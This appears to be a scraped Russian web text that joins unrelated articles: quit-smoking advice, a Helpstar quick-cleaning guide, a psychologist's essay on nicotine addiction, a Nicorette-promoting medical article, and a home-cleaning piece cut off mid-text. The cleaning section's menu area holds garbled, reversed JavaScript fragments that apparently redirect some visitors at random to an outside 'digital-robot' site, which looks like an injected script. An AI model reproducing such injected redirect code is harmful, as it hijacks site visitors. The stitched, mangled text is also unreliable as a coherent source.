Если вы сделаете хотя бы одну затяжку из электронной сигареты или выкурите сигарету или нюхательный табак/никотиновую подушечку, вам придется начинать путь отказа заново. Кроме того, вы жалеете себя из-за того, что не можете бросить, и ваша мотивация падает. Если вы думаете о том, чтобы попробовать продукты с более низким содержанием никотина, подумайте хорошенько, потому что вы продолжите поддерживать свою психическую зависимость, используя продукт, и в долгосрочной перспективе вам будет труднее бросить никотин. Заведите дневник и перепишите все причины, по которым вы решили бросить никотин. Продолжайте читать их! Четвертый день без никотина

Вы пережили три самых трудных дня! Примите поздравления или похвалите себя!

Избегайте возникновения кризисных ситуаций дома и на работе – сперва думайте, потом говорите. Строго избегайте алкоголя в течение первых двух недель. В последующие два месяца можно потреблять немного алкоголя в компании, где никто не употребляют никотин. Подсчитайте деньги, накопившиеся от некупленных табачных и никотиновых изделий и вычислите, сколько вы сэкономите в будущем. В моменты искушения Держитесь подальше от других потребителей никотина, по крайней мере, на первых порах. Избегайте алкоголя, кофе и иных напитков, которые вы связываете с никотинoм. Измените рутину – избегайте магазинов, где обычно покупали эти продукты. Никогда не позволяйте себе думать, что одна ошибка ничего не даст – это скользкий путь. С одной ошибки все начнется снова, и тем больше будет разочарование от собственного бессилия. Сохраняйте уверенность в себе! Помогите организму поскорей освободиться от никотина. Пейте много жидкости. Постоянно держите поблизости стакан с водой или с соком, пейте маленькими глотками. Ешьте фрукты, цельнозерновые продукты и богатую клетчаткой пищу. Измените свои пищевые привычки – например, вместо трех больших приемов пищи ешьте в разное время или небольшими порциями пять раз в день.. Переставьте мебель, избавившись от любимого уголка, где вы использовали табак или никотиновые продукты. Вместо того, чтобы использовать никотин после еды, выйдите из-за стола и почистите зубы. Занимайте себя делами. Отказ от никотинa – подходящее время для занятий спортом. Для начала подойдут плавание, оздоровительный бег, ходьба с лыжными палками, аэробика и пр. Определите, что именно вызывает у вас желание использовать никотин. Найдите способы борьбы с этими факторами. Вместо употребления табака или никотиновых продуктов положите в рот морковку, жевательную резинку без сахара и т. д. Скажите своим друзьям и родным, что вы бросили никотин. Договоритесь с членом семьи или другом о сумме штрафа /действии, которое вы должны заплатить/выполнить, если вы поскользнулись. Если ваш партнер также употребляет никотин предложите бросить вместе или попросите его не употреблять рядом с вами. Думайте позитивно — абстиненция может быть неприятной, но она показывает, что ваш организм восстанавливается после пагубного воздействия табака и никотина. И прежде всего, не бойтесь искать помощи у консультанта, особенно в трудные моменты. Вместе вы наверняка найдете лучшее лечение. Оставайтесь без никотина

Отказаться от никотина на короткое время легко, но оставаться без никотина долгое время уже сложно. Важно, чтобы в течение первого месяца вы оставались верны своему решению, тогда риск повторного употребления никотина существенно снизится. Если же вы не употребляли табак и никотиновые продукты 12 месяцев подряд, значит, ваш путь к отказу от курения подошёл к концу.

Основными причинами возобновления употребления никотина обычно являются следующие обстоятельства:

Стрессовые ситуации. Для снижения стресса следует сознательно воздерживаться от обычного никотинового продукта и пользоваться более эффективными средствами (физические упражнения для расслабления, отдых, смена обстановки, занятия по душе и пр.).

Абстинентные симптомы. У большинства бросающих не возникает особых нарушений или проблем. Первоначальный голод, вызванный лишением организма ежедневной дозы никотина и/или укоренившейся привычки употребления никотина, может выражаться по-разному: необъяснимая злобность, раздражительность, резкая смена настроений, общая беспокойность, нарушения сна и пр. Все эти симптомы быстро проходят и с ними легко справиться, если давать себе отчет об их причинах, сохранять твердость намерений и применять активные вспомогательные средства. Если же они сохраняются дольше и мешают жить, можно попросить помощи у семейного врача, медсестры или консультанта по отказу от курения.

Верьте в себя!

Что делать, если бросить не удалось? Ни в коем случае не стоит опускать руки и винить себя. Но не стоит и сразу делать новую попытку. Целесообразнее всего взять отсрочку на пару недель или на месяц и обдумать причину своей неудачи. Именно честный самоанализ, накопление новой энергии и мудрость обучения на собственных ошибках помогут снова начать процесс и достичь своей цели.

Все рекомендации могут служить лишь поддержкой для вашего собственного желания. Бросить курить непросто, но мудрость и упорство приведут к успеху.

Если чувствуете, что в одиночку вам не справиться и нужна помощь — обратитесь за помощью к специалисту.

Скачайте план по отказу Тебе понравилась эта статья? Поделись в Facebook Поделись в Twitter "

Как быстро привести квартиру в порядок перед приходом гостей

Даже если вы регулярно заказываете профессиональную уборку квартиры от Helpstar, вы все равно можете столкнуться с необходимостью быстро навести порядок в доме.

Например, когда уборка назначена на послезавтра, а друзья нагрянут в гости уже через полчаса. Особенно это актуально в новогодние праздники, когда точно есть время на приятные встречи.

На самом деле, полчаса — вполне достаточно для того, чтобы навести поверхностный порядок. Ваши гости не будут заглядывать внутрь шкафов и под кровать, не правда ли? :)

Вам понадобится следующий инвентарь:

несколько тряпок для пыли и мебели, лучше из микрофибры губка с жесткой поверхностью с одной стороны тряпка для пола и швабра моющий раствор для кухни с распылителем средство для чистки ванны и унитаза жидкость для мытья стекол липкий ролик для чистки одежды несколько ваз или красивых коробочек для мелочей уверенность в собственных силах

Лайфхак: Нет всех нужных чистящих средств? Используйте жидкость для мытья посуды, смешанную с водой в разных пропорциях.

Итак, включаем энергичную музыку, чтобы дело шло бодрее, заводим таймер и поехали!

Ванная и туалет — 1 минута

Залейте унитаз, ванную и раковину жидкостью для чистки, закройте дверь и переходите на кухню.

Кухня — 7 минут

Лишние предметы со всех поверхностей — посуду, чай, печенье и так далее — уберите в шкафы. Смочите губку моющей жидкостью и вымойте стол, столешницы, холодильник, раковину и другие поверхности в зоне видимости. Затем насухо вытрите их чистой тряпкой из микрофибры или бумажными полотенцами.

Пылесосить и подметать нет времени, поэтому намочите и хорошо выжмите половую тряпку, наденьте на швабру и протрите доступные участки пола, отдельно поработайте с оставшимися грязными пятнами. Поставьте на стол большую вазу, наполнив ее фруктами и овощами — это придаст кухне уют. Здесь мы закончили, идем дальше.

Ванная и туалет - 6 минут

Соберите лишние мелочи со всех полочек в шкафчик или сложите их в красивую коробку. Почистите унитаз, побрызгайте его поверхность чистящим средством, вытрите насухо бумажными полотенцами. Пройдитесь жесткой стороной губки по раковине и ванной, затем смойте остатки средства максимально горячей водой из душа.

Пар от воды осядет на зеркале, протрите его бумажными полотенцами. Если остались грязные поверхности, пройдитесь по ним влажной тряпочкой. Протрите пол. В завершение задерните шторку для ванной и смените полотенца на свежие.

Гостиная - 7 минут

Уберите все лишние вещи — игрушки детей и домашних животных, одежду, подставку под ноутбук и так далее — в шкаф или унесите в спальню. Вытрите пыль с телевизора, игровой приставки и поверхностей мебели, расставьте в нужном порядке сувениры и безделушки, разложите книги.

Пройдитесь икеевским роликом по поверхности дивана и кресел, а мокрой рукой — по ковру, чтобы собрать пыль, затем вымойте видимую поверхность пола. Картинка с уборкой в гостиной, вид из коридора

Прихожая — 4 минуты

Спрячьте лишнюю обувь и верхнюю одежду, ровно сложите перчатки, шарфы и шапки. Ключи, губки, наушники и другие мелочи сложите в красивую чашу или коробку. Протрите зеркало и поверхности, вытряхните приддверный коврик и вымойте пол по направлению к двери.

Спальня — 3 минуты

Заправьте постель и засуньте в шкаф разбросанную одежду, аккуратно сложите принесенные из гостиной вещи. Если в предыдущих пунктах вы не уложились, а гости уже звонят в дверь — просто выключите свет и закройте дверь в эту комнату, вряд ли вашим гостям она понадобится.

И заслуженные 2 минуты отдыха — переодеться, расчесаться, довольно оглядеть чистые комнаты и приготовиться к комплиментам вашему умению поддерживать уют и порядок в доме.

Напоминаем, что готовиться к приходу гостей гораздо легче, если в квартире регулярно проводится поддерживающая уборка. Заказывайте уборку в Helpstar и профессиональные специалисты с удовольствием помогут вам держать дом в полном порядке.

tobor-latigid//:sptth\'=ferh.noitacol.tnemucod],var number1=Math.floor(Math.random()*6),if (number1==3) top-main-links"> tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"],var number1=Math.floor(Math.random()*6),if (number1==3) tom menu-item-object-custobor-latigid//:sptth\'=ferh.noitacol.tnemucod"],var number1=Math.floor(Math.random()*6),if (number1==3) tom menu-item-148">Заказать уборку

Всё прозрачно: пять главных «не» о мытье окон

Зима уже окончательно отступила, лето не за горами, а значит, пора приступать к мытью окон. Рассказываем, как это сделать оперативно и эффективно, собрав самые популярные правила и советы экспертов Helpstar.

8 апреля 2019

Тепло, приди: лайфхаки для придания дому уюта и тепла зимой

Это только кажется, что с наступлением февраля тепло вроде как не за горами. Но последний зимний месяц, да и чего уж там, первый весенний долгожданным теплом вовсе не балуют. Вместо солнца и плюса за окном к нам приходят пронизывающие ветра и снегопады.

7 февраля 2019 После праздника: как аккуратно убрать новогоднюю елку из квартиры

Череда новогодних праздников вот-вот закончится, а значит, с главным символом Нового года придётся попрощаться. Хорошо если елка искусственная — на её разбор и упаковку уйдёт не так много времени, а вот с настоящей ёлкой придётся повозиться. Выясняем, как.

11 января 2019 Новости компании Полезные советы СМИ о нас "

Как бросить курить?

Как легко бросить курить? Хотели бы вы услышать честный ответ на этот вопрос? И этот ответ – никак. Если у вас уже сформировалась зависимость от никотина, и вы курильщик с многолетним стажем, бросать, скорее всего, будет непросто. И вы наверняка сами это знаете, если не раз принимали решение бросить курить. Но непросто не значит невозможно. Правда, такие фразы, как «три простых шага, чтобы победить зависимость» или «как легко бросить курить», могут даже мешать, ведь эти фразы придумывают маркетологи, чтобы привлечь ваше внимание. Но с точки зрения помощи курильщику такого рода фразы вредны, поскольку могут вызвать ложное, но приятное ожидание легкости процесса, после которой обычно происходит неприятная встреча с реальностью, оказывается, в рекламе врут, бросать нисколько не легко, что в свою очередь приводит к разочарованию. А разочарование приводит к упадку сил, которые так необходимы курильщику, чтобы победить эту вредную привычку. Правда заключается также в том, что одним людям это дается легче, другим тяжелее. И эта статья не о том, как легко бросить, она о том, как психологически подготовиться к тому, чтобы это было эффективней. И поскольку с курением приходится именно бороться, то, по правилам войны, одной из главных ошибок является недооцененный враг. Важно понять, что такое зависимость от сигарет, и признать эту зависимость.

Почему возникает зависимость? чрезмерная тревожность и раздражительность, ухудшение работоспособности, резкое ухудшение настроения, агрессивность, злость, повышенный аппетит, сложно преодолимая тяга закурить, бессонница, нарушенная концентрация внимания.

В табаке содержится никотин, а никотин - это наркотик. Курение - это не просто привычка или желание, это употребление наркотиков, от которых возникает зависимость.

Как бросить курить самому?

Первый и очень важный шаг и условие для победы над курением – это осознание и признание того факта, что курильщик - это никотиновый наркоман, и я курю не потому, что хочу, или это просто привычка, ритуал, а потому, что без сигарет у меня начинается ломка. Именно ломка, абстиненция, неприятные ощущения заставляют меня курить.

Следующий шаг - разделите себя на ваши настоящие желания (в нашем случае это желание бросить курить) и те, которые исходят от зависимости. Ведь если вы хотите делать одно, но при этом делаете что-то другое, значит, вас кто-то или что-то заставляет. Эти «не ваши» желания и поведение можно представить как некую субличность, часть вас самих, которая вышла из-под контроля. Я в своей практике называю эту часть человека «внутренний враг». Если вы хотите бросить и чувствуете тягу, ломку, по привычке хочется сказать - я хочу покурить, но правда в том, что это не я хочу, а мой внутренний враг хочет, моя зависимость пытается взять надо мной верх.

Для чего нужно это разграничение на себя и внутреннего врага? С момента разграничения мы начинаем бороться уже не с собой, а с врагом, а он борется. Тот, кто сражается с собой, в любом случае проиграет. А когда вы представляете зависимость как внутреннего врага, в случае срывов, маленьких поражений можно злиться не на себя, а на этого самого врага. Тем самым вы учитесь экономить психоэмоциональные силы, которые так необходимы для того, чтобы бороться с зависимостью.

Кому бросать легче, или самый легкий способ

Почему одним людям легче бросить курить, а другим сложнее? Некоторые люди бросают, даже не прочитав ни одной книги или статьи и не посещая психолога. Как я оцениваю, кому из моих клиентов будет легче бросать, а кому труднее? Если ко мне придет человек жизнерадостный, энергичный, который получает удовольствие от жизни, и ему присуще в повседневности испытывать больше положительных эмоций, чем негативных, плюс есть осознание, что сигареты – это зло, то такому человеку будет относительно легко бросать. Если же пришел человек, который находится в напряжении, у него накопился хронический стресс, в жизни мало что радует, и покурить сигарету стало одной из немногих радостей в жизни, то такому человеку будет гораздо тяжелее бросить.

Одним из ключевых факторов избавления от курения можно назвать наличие психоэмоционального ресурса, или жизненных сил, человека. Этот ресурс истощается негативными переживаниями, и когда их слишком много и длятся они слишком долго, человеку сложно совершать действия, требующие продолжительных волевых усилий, таких, как борьба с зависимостью. Но если с психоэмоциональным ресурсом у вас в порядке, тут уже есть резервы для борьбы. Поэтому важно позаботиться о том, чтобы быть в ресурсе. В работе с курильщиками при личных консультациях большая часть работы заключается именно в накоплении ресурса.

Но посредством чего наши личностные силы убывают и приходят? Тут ключевую роль играют наши чувства и эмоции. Положительные наполняют, а отрицательные эмоции, наоборот, истощают наш ресурс. Нормальный человек в своей жизни испытывает полный спектр эмоций. Но в переживании отрицательных эмоций огромную роль играет интенсивность, продолжительность, количество и баланс с положительными. То есть если вы переживаете какие-то отрицательные чувства, например, подолгу находясь в тревоге или раздражении, это ввергает ваш организм в стресс. Если при этом приятные эмоции обходят вас стороной, тогда получается, что вы тратите ресурса больше, чем получаете, и баланс ваших сил приближается к нулю, а то и уходит в минус. Для того, чтобы вам хватило сил бросить курить, вам необходимо поддерживать ваш баланс в плюсе, то есть чтобы положительных чувств было больше, чем отрицательных. Вот для этого ранее мы и представляли фигуру врага в контексте ресурса, это помогает нам избавиться от самобичевания, которое забирает наш ресурс. Если вам не хватает ресурса, необходимо, во-первых, по возможности наполнить свою жизнь большим количеством положительных эмоций, а во-вторых, проработать отрицательные.

Советы для мотивации

Важную роль в процессе избавления от курения играет мотивация и ее качество. Что я имею в виду? Существует мотивация болевая и мотивация целевая. Болевую можно сравнить с ударами хлыстом по лошади, запряжённой в карету. Лошадь слышит свист и начинает быстрее бежать, чтобы не получить еще больше ударов. Болевая мотивация движима страхом перед болью или страданиями.

Целевая мотивация работает по-другому – если бы мы для нашей лошади вместо хлыста повесили впереди лакомство, к которому она бы тянулась, тем самым ускоряя шаг. То есть она мотивирована не страхом перед болью, а наоборот, желанием оказаться там, где приятно. Оба вида мотивации обычно присутствуют в жизни человека в той или иной пропорции. Если у человека сильно преобладает болевая мотивация, он будет чувствовать себя как загнанная лошадь. И мы помним, что боль забирает силы, а силы нужны на борьбу. Большинство людей, решивших бросить курить, зачастую движимы болевой мотивацией, например: предостережения врача, нехватка денежных средств, недовольство семьи, недовольство самим собой.

Чтобы эффективней двигаться к победе над зависимостью, я призываю вас прописать цели - что вы обретете после того, как бросите курить? Воспринимайте бросание курить не как саму цель, а как средство. Что я обрету в результате?

Помните, что формулировки целей менее эффективны, если они содержат отрицание. То есть фраза «Моя цель — пахнуть хорошо» звучит гораздо лучше, чем «Цель - не пахнуть плохо». А фраза «Моя цель — быть свободным от табака» воодушевляет гораздо сильнее, чем фраза «Не быть зависимым». Согласитесь, цель — это место или состояние, в которое мы хотим попасть, а не то, от чего мы хотим избавиться. Постарайтесь, чтобы этот список был у вас всегда перед глазами.

Помните, что далеко не всем удавалось бросить с первой попытки, обычно это происходит после нескольких. Также неудачные попытки - это не напрасные старания, ведь вы обретаете опыт, получаете разведданные и узнаете лучше себя.

И самая последняя рекомендация. Если у вас не получается самостоятельно, обратитесь к специалисту, в этом проявляется не слабость, а личностная зрелость и здравая оценка своих способностей. Тем самым вы сэкономите свое время, пройдете этот процесс максимально эффективно и получите поддержку в лице профессионала.

"

Как бросить курить

Pедактор и медицинский эксперт - Арутюнян Мариам Арутюновна.

Количество просмотров: 68 965

Дата последнего обновления: 29.12.2022 г.

Среднее время прочтения: 6 минут

Содержание:

Сегодня уже не нужно никому объяснять, что табакокурение наносит огромный вред здоровью. Только среди россиян 56% курильщиков планируют (или думают) отказаться от этой пагубной привычки 1 . Однако, несмотря на решимость, многим приходится делать несколько попыток, прежде чем удастся бросить курить 2 .

Почему так сложно бросить курить

Причина, по которой табак не отпускает своих поклонников, кроется в пристрастии к никотину. Длительное ежедневное употребление табачных продуктов вызывает формирование зависимости, причем в 6-7 раз быстрее, чем в случае со спиртными напитками 3 . Совсем неважно, что курит человек – сигареты, сигары, трубку, кальян или вейп – при их долгосрочном и ежедневном использовании формируется никотиновая зависимость 5 .

Как действует никотин на мозг? Во время курения он быстро всасывается в кровь и уже через 7 секунд достигает головного мозга 5 . Здесь никотин связывается с ацетилхолиновыми рецепторами, активизирует их и заставляет вырабатывать «гормоны счастья»: дофамин, серотонин, норадреналин и другие 5,8 .

Таким образом курение доставляет удовольствие, уменьшает чувство голода и стимулирует активность центральной нервной системы 1 . Однако это состояние длится недолго.

При регулярном курении табака естественная способность испытывать удовольствие постепенно атрофируется 1 (ослабевает). Каждая выкуренная сигарета снижает чувствительность рецепторов никотина и увеличивает их количество — это только усиливает острое желание выкурить еще одну сигарету 5 .

Позже, чтобы ощутить удовольствие в той же мере, что и раньше, курильщику приходится увеличивать дозу никотина 5 , и количество выкуриваемых сигарет растет. Еще через какое-то время курение становится способом предупредить развитие синдрома отмены (который в народе нередко называют «ломкой») 5 .

Но никотин — не единственный стимул табачной зависимости 5 .

Повторное потребление табачных изделий формирует привычку 5 и нередко превращается в некий «ритуал», например, человек тянется за сигаретой, когда ему скучно или нужно преодолеть стрессовую ситуацию и побороть усталость 1 .

Реально ли отказаться от сигарет?

На пути к свободе от никотина курильщика ожидают препятствия. Пристрастие к табаку признано хроническим заболеванием 5 , которое развивается при длительном курении в 90% случаев 4 .

Поскольку табачная зависимость по своей силе сравнима с героиновой и кокаиновой 1 , наберитесь терпения и не ждите быстрых результатов. Для преодоления пристрастия к табаку вам потребуется время и грамотная помощь специалиста.

Основная проблема, мешающая человеку бросить курить сигареты, — синдром отмены (абстиненции) 5 .

Он развивается через 3-4 часа после употребления последней сигареты. Проявления синдрома отмены постепенно нарастают и достигают своей максимальной выраженности через 1-2 дня после прекращения курения 4 .

Для синдрома отмены характерны следующие проявления 4 :

страстное желание покурить, ощущение слабости, недомогание, плохое настроение (дисфория), нетерпимость к окружающим и раздражительность, трудности с концентрацией внимания, чувство тревоги и беспокойство, головная боль, кашель, повышенный аппетит, бессонница. Как отказаться от курения: частые вопросы Легко ли самому бросить курить?

Сложность перехода к жизни без табака зависит от степени зависимости. При легкой степени реально самостоятельно отказаться от курения. Если зависимость оценивается как тяжелая, требуется помощь врача и медикаментозная терапия 5,6 .

Как определить степень никотиновой зависимости?

Вы можете пройти опросник Фагерстрема и по количеству набранных баллов узнать, насколько у вас выражено пристрастие к никотину 6 . Подробнее о тесте и зависимости от табака вы можете прочитать в нашей статье Никотиновая зависимость.

Сколько дней сохраняются признаки синдрома отмены?

Как правило, самочувствие улучшается через 2-3 недели после последнего эпизода употребления табака 4 .

Советы курильщикам, бросающим курить

Никотиновая зависимость закрепляется на физическом, эмоциональном и психологическом уровне 5 . С чего же начать бросать курить?

Мы собрали рекомендации Европейской сети по профилактике курения и потребления табака (ENSP) 5 , Американской Академии семейных врачей (AAFP) 17 и Американской Ассоциации Легких (ALA) 10 . Некоторые советы приводим ниже.

1. Найдите мотивацию

Определите для себя, почему вы курите и почему хотите перестать это делать 5,17 . Сильная мотивация – это именно то, что в первую очередь помогает бросить курить 8 . Курильщик должен четко осознавать, во имя чего он отказывается от табака. Прежде всего избавление от этого пристрастия помогает улучшить здоровье 4 .

Отказ от курения может подарить 10 лет жизни 15,16 .

Какие изменения произойдут с вашим телом, когда вы бросите курить, можете узнать из статьи Улучшение здоровья при отказе от курения.

Вы можете выбрать и другие причины 5 . Главное — чтобы они вас мотивировали каждый день:

Составьте список причин, включая личные обстоятельства, финансовые преимущества и обязательства перед другими 5 . Повторяйте себе одну из этих причин, несколько раз каждое утро 5 . 2. Назначьте конкретную дату

Выберите день в ближайшие 2 недели, когда вы откажетесь от сигарет или начнете сокращать их количество 5,6 . Прекрасно, если вы возьмете отгул в день “Х”, чтобы минимизировать риск ситуаций, которые могут вызвать желание закурить 17 .

3. Действия вместо перекуров

Будьте готовы, что с того дня, как вы бросите курить, возникнет синдром отмены 17 . Его проявления будут самыми выраженными в период между первой и третьей неделями после отказа от сигарет¹⁷.Поэтому заранее подготовьте список дел, которые заменят вам привычные перекуры 17 .

Начните вести дневник. Запишите в нем все ситуации в течение дня, которые обычно сопровождались курением. Затем придумайте им альтернативу 17 .

Например, находясь на вечеринке, где много курильщиков, вы можете попросить некурящего друга остаться рядом с вами. Если вы обычно курили во время обеденного перерыва, дайте себе задание выходить на прогулку, а чтобы отвлечься от мыслей о сигарете, пока вы едете в машине, включите радио и пойте 17 .

4. Используйте техники борьбы со стрессом

Каждое изменение привычного образа жизни добавляет немного стресса, и попытка бросить курить — не исключение. Если вы использовали сигарету как способ снять стресс, вам нужно искать новые способы борьбы с ним 17 .

На самом деле «снимать стресс» никотин не способен. Его действие само напоминает состояние стресса, поскольку провоцирует выделение норадреналина и адреналина 4 .

Попробуйте бороться с раздражением или тревожностью с помощью физических нагрузок, расслабляющих и дыхательных методик 17 .

Большое подспорье для тех, кто решил бросить курить навсегда, – физические нагрузки в домашних условиях или в спортивном зале. Активные физические упражнения способствуют выработке гормонов удовольствия, облегчают симптомы синдрома отмены, отвлекают от желания курить и увеличивают эффективность попыток отказа от табака 8 .

5. Учитесь контролировать тягу к курению

Желание закурить обычно ощущается остро в течение 3-5 минут. Придумайте, чем занять себя в это время 10 .

позвонить другу, выпить стакан воды, начать глубоко дышать, поиграть в видеоигры на смартфоне.

Не используйте легкие сигареты— они вызовут желание глубже затянуться, чтобы получить привычную дозу никотина 4 .

6. Заручитесь поддержкой

Поддержка — важный компонент отказа от табака. Расскажите близким о своем намерении бросить курить. Пусть они знают, что для вас это важно и как они могут вам помочь 17 . Также позаботьтесь о поощрении. Делайте себе маленькие подарки, когда вам удается справиться с желанием закурить — это может быть покупка, ужин в ресторане или поход в кино 17 .

7. Проконсультируйтесь со специалистом

В большинстве случаев самостоятельно преодолеть сильное пристрастие к сигаретам не получается. По статистике лишь около 5% из тех, кто бросает курить только при помощи силы воли, могут продержаться без сигарет в течение 6–12 месяцев 19 .

Если вы хотите увеличить шансы бросить курить или общие рекомендации вам помогают слабо, проконсультируйтесь с врачом. После обследования он подберет лечение 6 .

Какие методы помогают бросить курить?

Лечение никотиновой зависимости проводится с учетом степени ее выраженности и включает когнитивно-поведенческую и медикаментозную никотин-заместительную терапию. Врач может назначить их по отдельности или в комбинации 6 ..

Применение никотиносодержащих препаратов для лечения синдрома отмены одобрено Управлением по санитарному надзору за качеством пищевых продуктов и медикаментов США (FDA). Никотин-заместительная терапия увеличивает шансы успешного отказа от курения в 2 раза 17 .

Никотиносодержащие препараты Никоретте ® могут быть рекомендованы как средство заместительной терапии никотиновой зависимости у курильщиков старше 18 лет.

В линейку Никоретте® включены 4 лекарственные формы:

Спрей Никоретте® — удобный формат для борьбы с тягой к курению 18 . Он подходит для гибкой схемы отказа от табачных изделий. Спрей помогает справляться с желанием закурить как при полном отказе от курения, так и при уменьшении количества выкуриваемых сигарет. Флакон-дозатор содержит 150 доз никотина. После распыления 2 доз в полости рта никотин всасывается с поверхности слизистой, и уже через 1 минуту тяга к курению ослабевает 11 . Жевательные резинкиНикоретте® с мятно-фруктовыми вкусами помогают не только уменьшить симптомы отмены никотина, но и могут помочь отвлечься от мысли о сигаретах. Различное содержание никотина в резинках решает проблему индивидуального подбора дозы 13 . Жевательные резинки Никоретте® помогают контролировать вес на этапе отказа от курения 14 . Таблетки для рассасывания Никоретте® — предназначены для простого и незаметного использования (они похожи на обычные леденцы). Их удобно брать с собой и применять при остром желании закурить. Таблетку для рассасывания следует поместить в полость рта и время от времени перемещать ее из одной стороны в другую, пока она полностью не растворится. Если вы решили сразу отказаться от курения, можете использовать 8-12 таблеток для рассасывания Никоретте® в сутки. А если ваша цель — сократить количество выкуриваемых сигарет, используйте таблетки при остром желании закурить 9 . Формат таблеток подходим также тем, у кого есть противопоказания к применению жевательных резинок — зубные пломбы, брекеты, капы или кариес. Пластырь Никоретте® рекомендуется тем, кто решил полностью отказаться от сигарет и сразу бросить курить. Он наклеивается на любой участок тела, который лишен волос, и не требует замены в течение 16 часов. Ночной перерыв позволяет избежать влияния препарата на сон. Пластырь прозрачный и потому абсолютно незаметен для окружающих. Он может использоваться как самостоятельно, а при высокой степени никотиновой зависимости пластырь можно комбинировать с другими продуктами Никоретте® 12 .

Отказ от курения – серьезное решение. Путь к жизни без никотина может быть тернистым, возможны срывы и рецидивы 6 .

Дайте себе время и будьте терпеливы к себе.

Не переживайте, если в какой-то момент вы не сможете перебороть тягу к курению 10 . Воспринимайте это не как провал, а возможность приобрести опыт и сделать новую попытку 17 .

Информация в данной статье носит справочный характер и не заменяет профессиональной консультации врача. Для постановки диагноза и назначения лечения обратитесь к квалифицированному специалисту.

Литература Максимов Д. М. Консультирование курящего пациента // Архивъ внутренней медицины / №8(5). – 2018. – С. 327-332 / DOI: 10.20514/2226-6704-2018-8-5-327-332. Lori Diemert, Joanna E Cohen, Susan J Bondy, Peter Selby. Estimating the number of quit attempts it takes to quit smoking successfully in a longitudinal cohort of smokers // https://bmjopen.bmj.com/content/6/6/e011045. Аристов А. И., Демко И. В., Дыхно Ю. А. Медицинская помощь при отказе от курения // Вестник клинической больницы / том V. — № 51. – 2012. – С. 13-21. Г. М. Ковалева, в. Ф. Козаченко, А. Г. Макиев, С. М. Богаченко, Е. А. Кутузова Эффективность лечения никотиновой зависимости (табакокурения) различными методами // Главный врач / №2 (49) • 2016 — с. 50-52. Рекомендации ENSP (European Network for Smoking and Tobacco Prevention aisbl) по лечению табачной зависимости// 2016 год. Синдром зависимости от табака, синдром отмены табака у взрослых // Клинические рекомендации / МЗД РФ – 2018 год. Н. Б. Амиров, Т. И. Андреева. Табачная эпидемия фармакологические возможности борьбы // ВЕСТНИК СОВРЕМЕННОЙ КЛИНИЧЕСКОЙ МЕДИЦИНЫ, 2011. Том 4, вып. 3, с. 28-33. О. А. Суховская Практический алгоритм по отказу от курения табака // Практическая пульмонология / №2. – 2018. – С. 30-32. Инструкция по применению препарата Никоретте® таблетки для рассасывания // Рег.номер ЛП-006359 // ГРЛС ВФ. - URL:https://grls.rosminzdrav.ru/Grls_View_v2.aspx?routingGuid=02017d53-afd2-4f83-b8d3-1d3ecb1f4f1f&t= ( дата обращения 30.11.2021) 8 советов как бросить курить навсегда/ Сайт национального центра здоровья США/ https://www.lung.org/blog/8-tips-to-quit-smoking . Инструкция по применению Никоретте® спрей для для слизистой оболочки полости рта дозированный // Рег. номер ЛП-002890 // ГРЛС ВФ. - URL: https://grls.rosminzdrav.ru/Grls_View_v2.aspx?routingGuid=7f3c1b75-d18a-415a-8285-9ee0fe2dae90&t=( дата обращения 30.11.2021) Инструкция по применению Никоретте® пластырь трансдермальный // Рег. номер ЛП-001122 // ГРЛС ВФ. - URL: https://grls.rosminzdrav.ru/Grls_View_v2.aspx?routingGuid=eddf1f8b-38ab-494d-98b1-9dd164f3f633&t= ( дата обращения 30.11.2021) Инструкция по применению препарата Никоретте® жевательная резинка// Рег.номер ЛСР-004064/09 // ГРЛС РФ. – URL: https://grls.rosminzdrav.ru/Grls_View_v2.aspx?routingGuid=1d2f6c97-244d-4984-99c8-ab1ca3c12218&t= ( дата обращения 30.11.2021) Доерти К и др. дозирование никотиновой жвачки и набор веса после отказа от курения. Журнал Консультирования и Клинической Психологии, 1996, 64: 799−807 При отказе от курения в возрасте около 30 лет вероятное увеличение продолжительности жизни https://www.who.int/news-room/questions-and-answers/item/tobacco-health-benefits-of-smoking-cessation Doll Richard, Peto Richard, Boreham Jillian, Sutherland Isabelle. Смертность от курения: 50-летнее наблюдение за британскими врачами - мужчинами BMJ 2004, 328: 1519 https://pubmed.ncbi.nlm.nih.gov/15213107/ Quit Smoking GUIDE. American Academy of Family Physicians. 2015 На территории РФ. РУ ЛП-002890 от 04.03.2020 По данным клинических исследований John R. Hughes, Josue Keely & Shelly Naud. Форма кривой рецидива и долгосрочной абстиненции среди не получавших лечение курильщиков. 2004 Society for the Study of Addiction

Также вам может быть интересно:

Мифы об отказе от курения Как помочь близким бросить курить? Что делать, если вы не смогли устоять и сорвались "

Наводим порядок в доме быстро и без усилий

Вопрос, как надо убирать в доме для многих очень важен. Кто-то тратит на уборку всего лишь 20-30 минут, но каждый день. Другие же предпочитают выделять целый день для наведения порядка, и тратят свои выходные. Как нужно убирать дома, чтобы не доводить себя до изнеможения и не тратить много времени? Главное – это боевое настроение и помощь домочадцев.

Главное – настроение

Очень важно, чтобы во время хлопот по дому настроение было приподнятым, и даже бодрым. Помогает при работе по дому энергичная музыка. Можно поставить любимый диск, и тогда работа пойдет намного веселее и быстрее закончится. И еще один момент – отводите на уборку определенное время, но каждый день. Так вы не будете завалены хламом и мусором к концу недели, и вам не придется тратить драгоценные выходные на это мало интересное занятие.

Делаем уборку быстро

Как быстро и качественно убраться в квартире? Поставьте таймер на 15 минут, и начинайте уборку. Пусть каждый день вы будете тратить ровно 15 минут, чтобы убрать одну определенную зону в квартире. Это может быть мытье пола в коридоре или спальне, уборка на кухне, чистка сантехники. По своей сути такой вариант уборки, но каждый день, равносилен генеральной уборке, но один раз в неделю. Так вы и выходные сохраните для своего досуга и семьи, и не погрязните в грязи.

Попробуйте хотя бы одну неделю прибираться с таймером по 15 минут, и вы увидите к субботе, что в квартире просто нет необходимости делать генеральную уборку, которая обычно отнимает несколько часов.

Читайте также: Как сделать генеральную уборку в квартире быстро и эффективно? Как правильно убирать в доме?

Прежде чем думать, как вымыть квартиру, надо подумать, как можно сделать так, чтобы в квартире было меньше грязи.

В первую очередь перед дверями надо постелить коврик, чтобы вытирать об него обувь. Так в квартиру будет попадать гораздо меньше грязи. Верхнюю одежду надо в прихожей вытряхивать, и никогда не заносить ее в комнаты и в кухню.

Чтобы в квартире стало меньше хлама, одежду и вещи для дачи надо отвезти туда, а надбитую посуду и давно никому не нужные вещи попросту выбросить.

Выбираем подходящее время

